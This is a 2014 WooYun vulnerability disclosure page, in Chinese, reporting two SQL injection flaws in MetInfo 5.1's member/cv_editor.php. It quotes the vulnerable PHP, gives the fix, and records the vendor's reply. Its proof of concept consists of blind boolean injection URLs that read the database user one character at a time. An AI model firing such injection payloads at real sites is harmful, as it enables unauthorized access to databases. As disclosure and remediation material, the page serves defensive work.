当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062860

漏洞标题:MetInfo企业网站管理系统SQL注入漏洞二(同一文件多处)

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-05-30 13:48

修复时间:2014-08-28 13:50

公开时间:2014-08-28 13:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-30: 细节已通知厂商并且等待厂商处理中
2014-06-04: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向第三方安全合作伙伴开放
2014-07-29: 细节向核心白帽子及相关领域专家公开
2014-08-08: 细节向普通白帽子公开
2014-08-18: 细节向实习白帽子公开
2014-08-28: 细节向公众公开

简要描述:

MetInfo企业网站管理系统SQL注入漏洞二(同一文件多处),无视GPC

详细说明:

MetInfo企业网站管理系统v5.1正式版
文件/member/cv_editor.php
第一处SQL注入:

<?php
require_once 'login_check.php';
require_once ROOTPATH.'member/index_member.php';
if($action=="edit"){
......
省略代码
foreach($cv_para as $key=>$val){
if($val[type]!=4){
$para=$$val[para];
}else{
$para="";
for($i=1;$i<=$total_list[$val[id]];$i++){
$para1="para".$val[id]."_".$i;
$para2=$$para1;
$para=($para2<>"")?$para.$para2."-":$para;
}
$para=substr($para, 0, -1);
}
$para=htmlspecialchars($para);
$query = "update $met_plist SET
paraid ='$val[id]',
info ='$para'
where listid=$id and paraid=$val[id]";//问题在这里
if($val[type]==5 and $para=='')$query='';
$db->query($query);
}


在update时listid=$id没有引号保护,导致SQL注入
第二处SQL注入

<?php
require_once 'login_check.php';
require_once ROOTPATH.'member/index_member.php';
if($action=="edit"){
......
省略代码
}else{
$cv_list=$db->get_one("select * from $met_cv where id='$id'");
if(!$cv_list){
okinfo('cv.php?lang='.$lang,$lang_NoidJS);
}
if($cv_list[readok]==1) okinfo('cv.php?lang='.$lang,$lang_js24);
$query = "SELECT * FROM $met_parameter where lang='$lang' and module=6 order by no_order";
if($met_member_use)$query = "SELECT * FROM $met_parameter where lang='$lang' and module=6 and access<=$metinfo_member_type order by no_order";
$result = $db->query($query);
while($list= $db->fetch_array($result)){
if($list[type]==2 or $list[type]==4 or $list[type]==6){
$query1 = "select * from $met_list where lang='$lang' and bigid='".$list[id]."' order by no_order";
$result1 = $db->query($query1);
while($list1 = $db->fetch_array($result1)){
$paravalue[$list[id]][]=$list1;
}}
$value_list=$db->get_one("select * from $met_plist where paraid=$list[id] and listid=$id "); //问题在这里
$list[content]=$value_list[info];
$list[mark]=$list[name];
$list[para]="para".$list[id];
if($list[wr_ok]=='1')
{
$list[wr_must]="*";
$fdwr_list[]=$list;
}
$cv_para[]=$list;
}


可以看到在

$value_list=$db->get_one("select * from $met_plist where paraid=$list[id] and listid=$id ");


$list[id]和$id都没有使用引号保护,直接带入SQL语句,导致注入。

漏洞证明:

以第二处注入证明:
1、登陆后,在线应聘/job/cv.php,添加一个简历
2、在管理简历信息——编辑简历信息时id存在注入
http://localhost/metinfo5.1/member/cv_editor.php?lang=cn&id=1 AND ascii( substring( user( ) , 1, 1 ) ) >113——正常返回

1.png


http://localhost/metinfo5.1/member/cv_editor.php?lang=cn&id=1 AND ascii( substring( user( ) , 1, 1 ) ) >114——无信息返回

2.png


证明user()的第一个字符为r
继续修改substring( user( ) , 1, 1 )中的第二个数字,2,3,4,然后在修改后面的ascii码值,进一步得到user()=root

修复方案:

加引号保护即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-06-04 10:29

厂商回复:

转由CNVD直接通报给软件生产厂商。

最新状态:

暂无